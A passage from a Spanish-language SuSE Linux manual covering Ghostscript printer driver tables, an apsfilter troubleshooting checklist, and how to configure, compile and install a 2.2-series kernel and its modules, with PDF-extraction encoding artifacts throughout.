tux@tierra: > su
tierra: # cat FicheroTest.lpr > /dev/lp0
Consejo: El directorio /usr/share/ghostscript/<versi≤n> /doc con-
tiene mucha informaci≤n valiosa, como p. ej. los consejos en devices.txt
que informa sobre una serie de impresoras mßs recientes.
Para obtener informaci≤n actualizada sobre Ghostscript (versiones, soporte
de impresoras, etc.), consulte la Homepage de Ghostscript. El URL es http:
//www.cs.wisc.edu/~ghost/.
12.6 Listado de las impresoras soportadas
Aparte de las impresoras PostScript, HP DeskJet y Epson Stylus, Ghostscript
soporta una serie de impresoras adicionales (versi≤n 5.10). Lo nuevo
desde la versi≤n 5 es el ''uniprint ''-driver que se adapta a la impre-
sora en cuesti≤n junto con un fichero de parßmetros especφficos. Es
posible seleccionar estos ficheros de parßmetros con lprsetup y adap-
tarlos a las necesidades particulares. Los ficheros se encuentran en
/usr/share/ghostscript/<VERSION>/ con la extensi≤n .upp y es
preferible usarlos antes de hacer uno propio (ver tabla 12.1 en la pßgi-
na 342Listado de las impresoras soportadastable.12.1).
_______________________________________________________________________________________________________*
*_________
Canon
bjc610a0.upp BJC 610, 360x360DPI, plain paper high speed, col-
or, rendered
_______________________________________________________________________________________________________*
*_________
Tabla 12.1: Contin·a en la pßgina siguiente ...
340
_________________________________________________________________12.6.__Listado_de_las_impresoras_soportadas___________________*
*___________________
______________________________________________________________________________________________________________________
bjc610a1.upp BJC 610, 360x360DPI, plain paper, color, rendered
bjc610a2.upp BJC 610, 360x360DPI, coated paper, color, ren-
dered
bjc610a3.upp BJC 610, 360x360DPI, transparency film, color,
rendered
bjc610a4.upp BJC 610, 360x360DPI, back print film, color, ren-
dered
bjc610a5.upp BJC 610, 360x360DPI, fabric sheet, color, rendered
bjc610a6.upp BJC 610, 360x360DPI, glossy paper, color, ren-
dered
bjc610a7.upp BJC 610, 360x360DPI, high gloss film, color, ren-
dered
bjc610a8.upp BJC 610, 360x360DPI, high resolution paper, color,
rendered
bjc610b1.upp BJC 610, 720x720DPI, plain paper, color, rendered
bjc610b2.upp BJC 610, 720x720DPI, coated paper, color, ren-
dered
bjc610b3.upp BJC 610, 720x720DPI, transparency film, color,
rendered
bjc610b4.upp BJC 610, 720x720DPI, back print film, color, ren-
dered
bjc610b6.upp BJC 610, 720x720DPI, glossy paper, color, ren-
dered
bjc610b7.upp BJC 610, 720x720DPI, high gloss paper, color, ren-
dered
bjc610b8.upp BJC 610, 720x720DPI, high resolution paper, color,
rendered
Hewlett-Packard
cdj550.upp DeskJet 550c, 300x300DpI, Gamma=2
NEC
necp2x.upp Prinwriter 2X, 360x360DPI, Plain Paper
necp2x6.upp Prinwriter 2X, 360x360DPI, Plain Paper
Epson
stc.upp Stylus Color I (and PRO Series), 360x360DPI, Plain
Paper
stc`h.upp Stylus Color I (and PRO Series), 720x720DPI, Spe-
cial Paper
stc`l.upp Stylus Color I (and PRO Series), 360x360DPI,
noWeave
______________________________________________________________________________________________________________________
Tabla 12.1: Contin·a en la pßgina siguiente ...
*
*341
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
stc1520h.upp Stylus Color 1520, 1440x720DPI, Inkjet Paper
stc2.upp Stylus Color II / IIs, 360x360DPI, Plain Paper
stc2`h.upp Stylus Color II, 720x720DPI, Special Paper
stc2s`h.upp Stylus Color IIs, 720x720DPI, Special Paper
stc500p.upp Stylus Color 500, 360x360DPI, not Weaved, Plain
Paper
stc500ph.upp Stylus Color 500, 720x720DPI, not Weaved, Plain
Paper
stc600ih.upp Stylus Color 600, 1440x720DPI, Inkjet Paper
stc600p.upp Stylus Color 600, 720x720DPI, Plain Paper
stc600pl.upp Stylus Color 600, 360x360DPI, Plain Paper
stc800ih.upp Stylus Color 800, 1440x720DPI, Inkjet Paper
stc800p.upp Stylus Color 800, 720x720DPI, Plain Paper
stc800pl.upp Stylus Color 800, 360x360DPI, Plain Paper
stcany.upp Any Stylus Color, 360x360DPI
_______________________________________________________________________________________________________*
*_________
Tabla 12.1: Ficheros de parßmetros del uniprint -driver
(Ghostscript 5.10)
Si no se encuentra ning·n fichero de parßmetros para un modelo de impresora
en particular, se usa un ''driver'' de eficacia comprobada de los contenidos en
la tabla 12.2 en la pßgina 344Listado de las impresoras soportadastable.12.2.
_______________________________________________________________________________________________________*
*_________
Apple
appledmp Apple Dot Matrix Printer (tambiΘn Imagewriter)
iwhi Apple Imagewriter, resoluci≤n alta
iwlo Apple Imagewriter, resoluci≤n baja
iwlq Apple Imagewriter, 320x216 dpi
Canon
bj10e BubbleJet 10e
bj200 BubbleJet 200
bjc600 BubbleJet 600c, 4000c (color)
bjc800 BubbleJet 800c (color)
lbp8 LBP-8II
lips3 LIPS III
DEC
declj250 LJ 250
_______________________________________________________________________________________________________*
*_________
Tabla 12.2: Contin·a en la pßgina siguiente ...
342
_________________________________________________________________12.6.__Listado_de_las_impresoras_soportadas___________________*
*___________________
______________________________________________________________________________________________________________________
la50 LA50
la70 LA70
la75 LA75
la75plus LA75 Plus
lj250 LJ250
ln03 LN03
Epson
ap3250 AP3250
eps9high FX-80-compatible, 240 dpi
eps9mid FX-80-compatible, 120 dpi
epson FX-80-compatible de 9- o 24-agujas
epsonc LQ-2550, Fujitsu 1200/2400/3400, color
lp8000 LP-8000 impresora laser
lq850 LQ-850, matricial de 24-agujas, 360dpi
st800 Stylus 800, ESC/P2
stcolor Stylus Color
Hewlett-Packard
cdeskjet DeskJet 500C, impreso blanco y negro
cdj500 DeskJet 500C, 540C
cdj550 DeskJet 550C, 560C
cdj670 DeskJet 670C, 690C
cdj850 DeskJet 850C, 855C, 870C, 1100C
cdj890 DeskJet 890C
cdj1600 DeskJet 1600C
cdjcolor DeskJet 500C, impreso color
cdjmono DeskJet 500C, impreso blanco y negro
deskjet DeskJet, DeskJet Plus
djet500 DeskJet 500
djet500c DeskJet 500c
djet820c DeskJet 820Cse y 820Cxi; quizß tambiΘn las de la
serie 1000
dnj650c DesignJet 650C
hpdj DeskJet con soporte PCL-3 (Impreso en color y
blanco y negro)
Ghostscript-Info: hpdj/gs-hpdj.txt
laserjet LaserJet
ljet2p LaserJet IIp
ljet3 LaserJet III
ljet3d LaserJet IIID
ljet4 LaserJet IV
ljetplus LaserJet Plus
______________________________________________________________________________________________________________________
Tabla 12.2: Contin·a en la pßgina siguiente ...
*
*343
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
lj4dith LaserJet IV, dithered
lj5mono LaserJet 5 & 6 (PCL XL), Bitmap
lj5gray LaserJet 5 & 6, Bitmap con escala de grises
lp2563 2563B LinePrinter
paintjet PaintJet Impresora color
pj PaintJet XL, alternativa
pjetxl PaintJet 300XL
pjxl PaintJet 300XL
pjxl300 PaintJet 300XL, DeskJet 1200C
IBM
ibmpro Proprinter, 9-agujas
jetp3852 Jetprinter 3852
OKI
oki182 MicroLine 182
okiibm MicroLine, compatible IBM
Tektronix
t4693d2 4693d, Impreso en color
t4693d4 4693d, Impreso en color
t4693d8 4693d, Impreso en color
tek4696 4695/4696
Otros
hl7x0 Brother 720, 730, 820
imagen Imagen ImPress
m8510 C.Itoh M8510
necp6 NEC P6, P6+, P60 bei 360 dpi
oce9050 OCE 9050
r4081 Ricoh 4081, impresora laser
sj48 StarJet 48
cp50 Mitsubishi CP50, impresora color
xes Xerox XES (2700, 3700, 4045)
_______________________________________________________________________________________________________*
*_________
Tabla 12.2: Impresoras soportadas (Ghostscript 5.10)
Por supuesto, todas las impresoras compatibles a la HP4 LaserJet y otras
impresoras PostScript estßn directamente soportadas.
Si se instala con apsfilter o se configura con YaST , es preciso indicar el +
Acr≤nimo de la impresora en la columna izquierda (p. ej. djet500 ).
344
________________________________________________________________________12.7.__Lista_de_comprobaci≤n:_apsfilter_____________*
*______________________
Si la impresora en cuesti≤n no figura en la lista, esto no descarta la posibilidad
de que a·n podamos usar el APS-filtro ya que muchas veces sirve el driver de
un modelo anterior. En este caso, se selecciona un driver del modelo que mßs
se le parezca. Se puede obtener ayuda adicional con el CDB (ingl. Component
Database), el banco de datos de hardware recopilado por SuSE ; se encuentra
en http://cdb.suse.de/.
_______________________________________________________________________________________________________________________||||
|||||||| || |
|||||||| En el mercado hay muchas impresoras que se venden con la etiqueta ''for || |
|||||||| Windows'' o ''impresora-GDI''. Tales impresoras muchas veces no funcio- || |
|||||||| || |
|||||||| nan bajo Linux o con suerte con muchas restricciones. íPara mayor in- || |
|||||||| formaci≤n consulte el CDB bajo http://cdb.suse.de/ o pregunte a su || |
|||||||| || |
|||||||| distribuidor! || |
|||||||| || |
|||||||| Para HP DeskJets de estas caracterφsticas existe un programa conversor || |
|||||||| para la impresi≤n en blanco y negro (paquete ppa, serie ap); respecto a la || |
|||||||| || |
|||||||| instalaci≤n se puede consultar la documentaci≤n en usr/doc/packages/ || |
|||||||| ppa y/o en el SDB, el artφculo http://sdb.suse.de/sdb/de/html/ || |
|||||||| || |
|||||||| ke_printer-gdi.html. En cuanto a impresoras de Lexmark (modelos || |
|||||||| 5700, 7000 y 7200) sirve el paquete pbm2l7k, serie ap; la documentaci≤n || |
|||||||| || |
|||||||| el respecto se encuentra en /usr/doc/packages/pbm2l7k. || |
||||||||_______________________________________________________________________________________________________________||_
Un fallo frecuente es una resoluci≤n incompatible. En este caso se puede
indicar la resoluci≤n correcta (o sea los dpi reales de la impresora) mediante la
variable GS_RESOL en /etc/apsfilterrc (p. ej. GS_RESOL=360x360 . Ya
hay allφ ~ en forma de comentario ~ algunas entradas de este tipo.)
12.7 Lista de comprobaci≤n: apsfilter
o ┐El paquete aps, serie ap para el apsfilter estß instalado?
o ┐Se ha configurado apsfilter con YaST o con /var/lib/apsfilter/
SETUP (lprsetup )?
o ┐Esta instalado el paquete net_tool, paquete netcfg, paquete nkita y
el paquete nkitb (todos de la serie a)? ┐Estß instalado el paquete lprold
de la serie n?
o ┐El kernel tiene soporte TCP/IP? Se reconoce por el mensaje "IP Pro-
tocols: ICMP, UDP, TCP" en /var/log/boot.msg.
o ┐El soporte de puertos/interfaces paralelos estß activado? ~
~ ┐El m≤dulo lp realmente estß cargado? En el caso del kernel 2.2.xx
tambiΘn se precisa la carga de los m≤dulos parport y parport_pc
(ver el apartado 10.4.3 en la pßgina 300Conexiones de puerto
paralelosubsection.10.4.3).
~ Quizß la computadora tiene una BIOS del tipo ''Plug-and-Play'' y la
configuraci≤n de la interfaz estß en auto . En este caso, se asigna
explφcitamente a la interfaz una direcci≤n de memoria (el estßndar es:
0x0378 o solo 378 ).
~ Si los indicadores luminosos de la impresora solo parpadean, es posi-
ble que la interfaz este configurada como ECP+EPP y la impresora no
lo acepta. Pruebe con cambiar la configuraci≤n a modo normal o a
SPP o ECP .
*
* 345
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
o Si la impresora no soporta la resoluci≤n estßndar de 300 300 dpi, se
debe comprobar si la resoluci≤n que figura en el manual de la impresora
fue definida con YaST o si se encuentra en /etc/apsfilterrc .
o ┐QuΘ resultado da lpc status ?
o Probar con lpc up all .
o Por lo menos la cola raw deberφa funcionar para todas las impresoras
y permitir asφ la impresi≤n de ficheros ASCII; una excepci≤n son las
impresoras GDI (ver en la pßgina anterior).
o Si las hojas se imprimen de forma apaisada, aunque esto no deba ocur-
rir, se debe consultar la en la pßgina 333Las colas de impresi≤n de
apsfilterHfootnote.59.
o Cuando se use el comando lpr con la opci≤n -P , no se debe agregar
ning·n espacio por delante del nombre de la impresora.
o Si es posible imprimir texto ASCII a travΘs de la cola ''raw'' (-Praw ),
se puede intentar imprimir un fichero PostScript con lpr . La primera
posibilidad es la de crear un fichero PostScript e imprimirlo despuΘs:
tux@tierra: > a2ps -nP -1 -p /etc/hosts > /var/tmp/hosts.ps
tux@tierra: > lpr /var/tmp/hosts.ps
TambiΘn se puede usar un fichero PostScript suministrado con Ghostscript:
tux@tierra: > lpr /usr/share/ghostscript/5.10/examples/tiger.ps
o Controlar los ficheros-log en /var/spool/lpd/Nombre_Driver,
donde Nombre_Driver debe ser reemplazado por el driver que haya
elegido.
o ┐Trabaja con la interfaz de impresora correcta? (ver apartado 12.1 en la
pßgina 325Los puertos paralelossection.12.1)
o íEl kernel no debe incorporar el m≤dulo (driver) para PLIP! (comprobar
en /var/log/boot.msg)
346
Parte VI
El kernel y sus parßmetros
347
Capφtulo 13
El kernel
El kernel que se copia al disquete despuΘs de la instalaci≤n y que se encuentra
tambiΘn en el directorio root del sistema instalado, tiene una configuraci≤n
que cubre un amplio espectro del hardware y por lo tanto no es totalmente
optimizado. Sin embargo ya durante la instalaci≤n o actualizaci≤n es posible
seleccionar un kernel que fue optimizado en algunas aspectos (p. ej. para ar-
quitectura Pentium), pero no en todos. Por eso es una ventaja ~ íaunque no es
necesario! ~ generar un kernel propio. Ademßs, si tiene el deseo de conocer
caracteristicas o drivers ''experimentales'', es practicamente obligatorio com-
pilar un kernel propio. Finalmente es la configuraci≤n de un kernel propio
que permite conocer el estado del arte en el desarrollo de Linux.
Ya existen Makefiles para el compilador C que permiten generar un kernel
nuevo de un modo casi totalmente automatizado. Solo hace falta entrar en una
utilidad de configuraci≤n y definir el hardware que el kernel debe soportar.
El soporte de instalaci≤n no cubre la compilaci≤n de un kernel propio (ver
apartado H.1.2 en la pßgina 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).
_______________________________________________________________________________________________________________________||
|||||||| La siguiente descripci≤n contempla bßsicamente los kernel de la serie ||| |
|||||||| || |
|||||||| 2.2.x. y existen muchas cosas que coinciden con los kernel de la serie || |
|||||||| 2.0.x. íSin embargo, en cuanto a los detalles, pueden existir peque±as pero || |
|||||||| || |
|||||||| importantes diferencias! || |
||||||||_______________________________________________________________________________________________________________||_
13.1 Las fuentes del kernel
Para poder generar un kernel propio se deben instalar las fuentes del kernel
(paquete lx_suse), el compilador de C (paquete gcc), los GNU Binutils
(paquete binutils) y las librerφas de C (Include-files) (paquete libc). Estos
paquetes se encuentran en la serie serie D (Development). En todo caso es
muy recomendable instalar el compilador de C ya que el lenguaje C y el
sistema operativo Linux estßn intrφnsecamente vinculados.
Las fuentes del kernel se encuentran en el directorio /usr/src/linux. Si
le gusta experimentar con el kernel y tener varias versiones en el disco, re-
sulta bastante prßctico desempaquetar las fuentes de los diferentes kernel en
diferentes directorios y acceder a las actualmente vßlidas mediante un enlace
simb≤lico. YaST instala los paquetes de esta forma automßticamente.
En realidad se podrφan instalar y compilar las fuentes del kernel en cualquier
directorio, pero existe bastante software que espera encontrar las fuentes del
*
* 349
13. El kernel _________________________________________________________________________________________________________________*
*_______________________________________@
kernel en el directorio /usr/src/linux. Por lo tanto es mejor optar por este
directorio para asegurar la compilaci≤n correcta de cualquier programa.
13.2 M≤dulos del kernel
Actualmente existen muchos drivers y funciones adicionales que no deben
formar parte fija del kernel necesariamente, sino que pueden ser cargados
como m≤dulos (ingl. kernel module) en tiempo de ejecuci≤n. Durante la
configuraci≤n del kernel es cuando se determina cußles drivers se incorporan
de forma fija al mismo y cußles como m≤dulo.
Los m≤dulos del kernel se guardan en el directorio /lib/modules/<versi≤n> ,
donde <versi≤n> corresponde a la versi≤n actual del kernel (por ejemplo
2.2.14).
Siempre que sea posible se debe aprovechar la posibilidad de usar m≤dulos.
Siga la pauta: las funciones del kernel que no se necesitan durante el arranque
de la computadora, se deben realizar como m≤dulos; de este modo se asegura
que el kernel no crezca demasiado y que ni la BIOS ni ning·n gestor de
arranque tenga problemas al cargar el kernel. Esto significa que el driver del
disco duro, el soporte de ext2 y otras funciones parecidas siempre deben
formar parte del kernel, mientras que el soporte de isofs , msdos o sound
siempre se deberφan compilar como m≤dulos.
Manejo de los m≤dulos
Existen los siguientes comandos para trabajar con m≤dulos:
o insmod
El comando insmod carga el m≤dulo indicado que se busca en un sub-
directorio de /lib/modules/<versi≤n> . A favor del mejor comando
modprobe se deberφa dejar de usar insmod .
o rmmod
Este comando descarga el m≤dulo indicado, lo cual solo es posible cuando
se ha dejado de usar esta funci≤n del m≤dulo, y no es posible descargar
p. ej. el m≤dulo isofs cuando todavφa hay un CD montado.
o depmod
Este comando genera en el directorio /lib/modules/<versi≤n> el
fichero modules.dep que registra la dependencia de los m≤dulos entre
sφ. De este modo hay seguridad de que se cargan automßticamente todos
los m≤dulos que dependen del primero. Si el inicio del kernel-damon
estß previsto en /etc/rc.config, el fichero con las dependencias de los
m≤dulos se genera automßticamente cuando Linux se inicia (salvo que el
fichero ya exista).
o modprobe
Carga o descarga de un m≤dulo considerando las dependencias con otros.
El comando es muy versßtil asφ que se puede usar para muchas otras cosas
(p. ej. para probar todos los m≤dulos de un determinado tipo hasta que se
cargue uno exitosamente). Al contrario de insmod , modprobe eval·a el
fichero /etc/modules.conf y por eso solo se deberφa usar para cargar
m≤dulos. La Manpage de modprobe explica todas las posibilidades.
350
_____________________________________________________________________________________________13.2.__M≤dulos_del_kernel______*
*______________________
o lsmod
Muestra los m≤dulos actualmente cargados y sus dependencias. Los
m≤dulos que fueron cargados por el kernel-daemon se identifican por
(autoclean) al final de la lφnea. Esta palabra indica que se trata de
un m≤dulo que se descarga automßticamente cuando deja de ser usado
para un determinado tiempo.
/etc/modules.conf
El fichero /etc/modules.conf influye sobre la carga de m≤dulos (ver pßgi-
na del manual de depmod (man depmod )).
Advertencia: Desde la versi≤n 6.3 de SuSE Linux el nombre del fichero
/etc/conf.modules se ha cambiado a /etc/modules.conf.
Es precisamente este fichero el que permite indicar los parßmetros para aque-
llos m≤dulos que acceden directamente al hardware y por lo tanto deben ser
adaptados a la computadora especφfica (p. ej. driver de unidades CD-ROM o
driver para tarjetas red). Los parßmetros que se indican en este fichero son
en principio idΘnticos a los que se pasan al kernel (p. ej. con LILO ) a la hora
de arrancar (ver apartado 14.3.2 en la pßgina 360Parßmetros del kernel en
el Boot-Promptsubsection.14.3.2), sin embargo, en muchos casos sus nom-
bres son diferentes (ver el apartado 14.3.4 en la pßgina 373Parßmetros de
modprobe subsection.14.3.4). Si no se consigue cargar un m≤dulo, intente
especificar el hardware en el fichero /etc/conf.modules y para cargarlo se
debe usar el m≤dulo modprobe en lugar de insmod .
Kmod ~ el ''Kernel Module Loader''
El modo mßs elegante para emplear m≤dulos de kernel es ~ desde la versi≤n
2.2.x ~ el uso del ''Kernel Module Loader'', que reemplaza al kernel-damon
(kerneld ) ''antiguo''. kmod permanece en segundo plano y se ocupa de cargar
automßticamente los m≤dulos con llamadas a modprobe cuando se necesita
la correspondiente funci≤n del kernel.
Para usar el kmod se debe activar, durante la configuraci≤n del kernel, la
opci≤n `Kernel module loader' (CONFIG_KMOD ).
íLos drivers que se necesitan para acceder al sistema de ficheros raφz deben
estar incorporados al kernel!, por lo cual, no se debe configurar el driver
SCSI ni el sistema de ficheros de la partici≤n raφz (normalmente ext2 ) como
m≤dulos!
_______________________________________________________________________________________________________________________||
|||||||| SuSE Linux usa ahora el initrd (ingl. initial ramdisk) para incorporar ||| |
|||||||| || |
|||||||| de esta forma p. ej. el driver SCSI. Generando un kernel propio se precisa || |
|||||||| || |
|||||||| adaptar la variable INITRD_MODULES dentro del fichero /etc/rc.config || |
|||||||| (apartado 17.6 en la pßgina 439Inicializar hardware local (Teclado, mo- || |
|||||||| || |
|||||||| dem, mouse, PCMCIA etc.)Hfootnote.76) y es necesario poner la lφnea con || |
|||||||| initrd dentro del fichero /etc/lilo.conf en comentario (ver aparta- || |
|||||||| || |
|||||||| do 16.2.5 en la pßgina 415Posibles problemas ~ Kernel compilado a || |
|||||||| medidasubsection.16.2.5). ~ íSi se omiten estos pasos, el kernel se cuelga || |
|||||||| || |
|||||||| durante el arranque! || |
||||||||_______________________________________________________________________________________________________________||_
*
* 351
13. El kernel _________________________________________________________________________________________________________________*
*_______________________________________@
El uso de los m≤dulos del kernel se ofrece sobre todo para funciones de uso
poco frecuente como p. ej. parport y el soporte de impresora, driver para
disqueteras o determinados sistemas de ficheros.
Kmod no estß dise±ado para descargar automßticamente m≤dulos; pensando
en la cantidad de memoria RAM de las computadoras de hoy en dφa, se
trata de un operaci≤n no necesaria, ya que con la descarga de un m≤dulo se
desocuparφa muy poca memoria (ver /usr/src/linux/Documentation/
kmod.txt). Los servidores que cumplen tareas muy especφficas trabajan mßs
rßpido con un kernel ''monolφtico''.
13.3 Configuraci≤n del kernel
La configuraci≤n del kernel que se instal≤ en el sistema durante la instalaci≤n
o actualizaci≤n estß contenida en el fichero /usr/src/linux/.config
(ver apartado 2.2.9 en la pßgina 40Seleccionar kernelsubsection.2.2.9) Este
fichero solo se refiere al kernel mismo, no a los m≤dulos que pertenecen al
paquete kernmod. Si tambiΘn quiere compilar de nuevo algunos m≤dulos
tiene que seleccionarlos explφcitamente.
Se puede configurar el kernel de tres formas distintas:
1. En la lφnea de comando
2. En un men· en modo texto
3. En un men· bajo el sistema X Window
Estas tres formas de configuraci≤n se presentan a continuaci≤n.
Configuraci≤n en la lφnea de comando
Para configurar el kernel se cambia a /usr/src/linux y se introduce el
siguiente comando:
tierra:/usr/src/linux # make config
Aparece una serie de preguntas sobre las funciones que el kernel debe sopor-
tar y para contestarlas_existen_generalmente_dos o tres_posibilidades:_ Ya sea
el sencillo |y_ |o |n_ |o bien |y_ |(ingl. yes), |n_ |(ingl. no) o |m_ |(ingl. module). `m'
significa que el driver correspondiente no se incorpora fijo en el kernel, sino
que es posible ''a±adirlo'' en tiempo de ejecuci≤n. Por supuesto, todos los
drivers que se necesitan para arrancar el sistema_deben incorporarse de forma
fija al kernel; para estos m≤dulos pulse |y_ |.
Al presionar cualquier otra tecla, aparece una ayuda corta sobre la correspon-
diente opci≤n.
Configuraci≤n en modo texto
Una vφa mßs asequible para configurar el kernel se consigue con el comando:
tierra:/usr/src/linux # make menuconfig
Una gran ventaja es p. ej. que no hace falta pasar por una gran cantidad de
preguntas modificando solo un aspecto de la configuraci≤n; la configuraci≤n
es mßs estructurada.
352
________________________________________________________________13.4.__Ajustes_en_la_configuraci≤n_del_kernel_______________*
*______________________
Configuraci≤n bajo el sistema X Window
Si estß instalado el sistema X Window (paquete xf86) tal como Tcl/Tk (pa-
quete tcl y paquete tk), queda la alternativa de iniciar el proceso de insta-
laci≤n con:
tierra:/usr/src/linux # make xconfig
De este modo se dispone de una superficie grßfica mßs confortable pero es
preciso iniciar el sistema X Window como superusuario `root', pues de lo
contrario habrφa que tomar medidas adicionales para tener acceso a la pantalla
de otro usuario.
13.4 Ajustes en la configuraci≤n del kernel
Debido a la cantidad no es posible detallar en este manual todas las opciones Ayuda
que ofrece la configuraci≤n del kernel, pero se puede usar la amplia ayuda en
lφnea de la que se dispone durante la configuraci≤n del kernel. Lo mßs nuevo
en cuanto a documentaci≤n se encuentra siempre en el paquete de las fuentes
del kernel en el directorio /usr/src/linux/Documentation.
13.5 Compilaci≤n del kernel
_______________________________________________________________________________________________________________________||
|||||||| Si desea instalar su propio kernel en el directorio /boot, quite ||| |
|||||||| sencillamente el sφmbolo de comentario por delante de la lφnea || |
|||||||| || |
|||||||| INSTALL_PATH=/boot (aprox. lφnea 74) en el Makefile principal. || |
||||||||_______________________________________________________________________________________________________________||_
Recomendamos generar un ''bzImage'' con el cual se evita el efecto de un
kernel demasiado grande. Es algo que ocurre a menudo cuando se han selec-
cionado demasiadas caracterφsticas y luego se genera un ''zImage''. Con ''bz-
Image'' se evitan entonces los mensajes tφpicos como "kernel too big÷
"System is too big".
Una vez adaptado el kernel a sus necesidades, debe iniciar la compilaci≤n
con:
tierra:/usr/src/linux # make dep
tierra:/usr/src/linux # make clean
tierra:/usr/src/linux # make bzImage
Se pueden introducir tambiΘn los 3 comandos en una sola lφnea y asφ se eje-
cutan uno despuΘs del otro. De esta manera, la compilaci≤n se hace ''au-
tomßticamente'', lo que permite salir a tomar un cafΘ o dejar la computadora
trabajando durante la noche. Para ello introduzca:
tierra:/usr/src/linux # make dep clean bzImage
Seg·n la potencia de la computadora, Θsta puede tardar desde algunos minutos
(AMD Athlon / Intel Pentium III rßpido) 1 hasta un par de horas (386 con
8 MB de RAM) para compilar el kernel.
DespuΘs de una compilaci≤n exitosa el kernel comprimido se encuentra en el
directorio_/usr/src/linux/arch/i386____/boot._La_imagen_del_kernel, o sea
1 Una prueba com·n para hardware y software es la compilaci≤n del kernel con la opci≤n
make -j , que requiere de mucha memoria RAM (hasta mßs de 100 MB). En este caso se inicia
un compilador para cada fichero fuente.
*
* 353
13. El kernel _________________________________________________________________________________________________________________*
*_______________________________________@
el fichero que contiene el kernel, se llama bzImage . Si este no se encuentra
en el mencionado directorio, lo mßs probable es que haya ocurrido un error
durante la compilaci≤n y que su respectivo mensaje se haya perdido entre
todos los mensajes en pantalla. Para comprobar si realmente hubo un error se
puede iniciar la compilaci≤n por segunda vez con:
tierra:/usr/src/linux # make bzImage
y observar si realmente aparecen errores. íNo hay por quΘ asustarse, errores
durante la compilaci≤n del kernel son mßs bien escasos!
Si se trabaja con la shell ''Bash'', se pueden direccionar los mensajes de la
compilaci≤n al fichero kernel.out con el comando:
tierra:/usr/src/linux # make bzImage 2>&1 | tee kernel.out
El mismo comando bajo Tcsh serφa:
tierra:/usr/src/linux # make bzImage |& tee kernel.out
Si hay funciones del kernel que se realizan con m≤dulos, es preciso compi-
larlos, lo cual se consigue con el siguiente comando:
tierra:/usr/src/linux # make modules
13.6 Instalaci≤n del kernel
DespuΘs de la compilaci≤n del kernel se debe procurar tambiΘn que Θste se
inicie; si se usa LILO para arrancar, es preciso reinstalarlo. Lo mßs fßcil
es copiar el nuevo kernel a /boot/vmlinuz (ver apartado 13.5 en la pßgina
anterior) e iniciar despuΘs LILO . Sin embargo, es mejor conservar el kernel
antiguo (/boot/vmlinuz.old) para evitar sorpresas, en caso de que el nuevo
no funcione tal como se espera:
tierra:/usr/src/linux # cp /boot/vmlinuz /boot/vmlinuz.old
tierra:/usr/src/linux # cp arch/i386/boot/bzImage /boot/vmlinuz
tierra:/usr/src/linux # lilo
El comando make bzlilo realiza estos tres pasos con una sola orden.
Los m≤dulos compilados tambiΘn se deben instalar; el siguiente comando:
tierra:/usr/src/linux # make modules_install
los copia en los directorios de destino correctos (/lib/modules/<versi≤n> ).
________________________________________________________________________________________________________*
*________||
| Si se incorporan m≤dulos al kernel, es necesario quitarlos en /lib/ *
* ||||
| *
* |||
| modules<Version> , ya que en caso contrario pueden aparecer efectos *
* |||
| extra±os. Por eso se ruega encarecidamente a los principiantes en materia *
* |||
| *
* |||
| de Linux, no compilar un kernel propio. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Se debe agregar al fichero /etc/lilo.conf (ver apartado 4.4.1 en la pßgi-
na 125El contenido del fichero lilo.conf subsection.4.4.1) un label (r≤tulo)
adicional denominado Linux.old y modificar el nombre del kernel antiguo
a /boot/vmlinuz.old. Asφ se puede arrancar seguro con el kernel antiguo
en caso de que se presentara alg·n problema con el nuevo. Se trata de una
posibilidad que se explica detalladamente en el capφtulo 4 en la pßgina 119Ar-
rancar y gestor de arranquechapter.4.
Si el fichero /etc/lilo.conf estß adaptado a las propias necesidades, se
debe ejecutar de nuevo:
354
_______________________________________________________________________13.7.__Generar_un_disquete_de_arranque_______________*
*______________________
tierra:/usr/src/linux # make lilo
Por otra parte, en caso de iniciar Linux desde DOS usando linux.bat ~ o
sea con loadlin ~ se necesita copiar el kernel nuevo a /dosc/loadlin/
bzimage2 , para que se active despuΘs del pr≤ximo arranque.
Si se inicia Linux con el gestor de arranque de Windows NT no se debe olvi-
dar de copiar nuevamente el sector de arranque de LILO (ver apartado 4.7.2
en la pßgina 136Windows NT y Linux en un disco durosubsection.4.7.2).
Ademßs tenga en cuenta lo siguiente: el fichero /boot/System.map con-
tiene los sφmbolos del kernel necesarios para que los m≤dulos puedan ac-
ceder correctamente a las funciones del kernel. Este fichero depende de
la versi≤n actual del kernel por lo que se deberφa copiar el fichero actual3
/usr/src/linux/System.map al directorio /boot una vez que la compi-
laci≤n haya finalizado. Si se usa el comando make bzlilo o make zlilo
para generar el kernel, la mencionada copia se hace automßticamente.
Un mensaje como "System.map does not match actual kernel" du-
rante el arranque del sistema, indica que el fichero System.map no se ha
copiado al directorio /boot.
13.7 Generar un disquete de arranque
Para generar un disquete de arranque con el kernel nuevo, se puede usar
sencillamente el siguiente comando:
tierra:/usr/src/linux # make bzdisk
13.8 Limpieza del disco despuΘs de la compilaci≤n del ker-
nel
Los (ficheros de) objetos que se generan durante la compilaci≤n del kernel se
pueden borrar si estos ocupan demasiado espacio de disco:
tierra: # cd /usr/src/linux
tierra:/usr/src/linux # make clean
Sin embargo, si dispone de suficiente espacio de disco y ademßs piensa mod-
ificar la configuraci≤n del kernel puede saltarse este paso. De este modo una
nueva compilaci≤n va mucho mßs rßpido, ya que solo se compilan las partes
del sistema que fueron modificadas.
2 ____________________________________________________
O bien al lugar donde realmente estß loadlin instalado.
3 DespuΘs de cada compilaci≤n este fichero se genera de nuevo.
*
* 355
13. El kernel _________________________________________________________________________________________________________________*
*_______________________________________@
356
Capφtulo 14
Parßmetros del kernel
14.1 Drivers del kernel
Existe una gran variedad de componentes y perifΘricos para PCs. El sistema
operativo necesita una serie de ''drivers'' (en el caso de Linux el ''kernel'')
para poder acceder a estos dispositivos. En principio existen dos mecanismos
para dar al kernel la funcionalidad de un driver:
o Los drivers se pueden incorporar fijamente al kernel. Un kernel de este
tipo, de ''una sola pieza'', se denomina en este libro kernel monolφtico.
Algunos drivers solamente existen en esta forma, por lo tanto los kernels
monolφticos no dejan de tener justificaci≤n.
o Los drivers se incorporan al kernel en el momento que se necesitan; un
kernel de tal caracterφstica se denomina kernel modularizado. La ventaja
es que solo los drivers necesarios se cargan en el momento necesario y
asφ el kernel no arrastra ning·n tipo de ''lastre''. El kernel del disquete
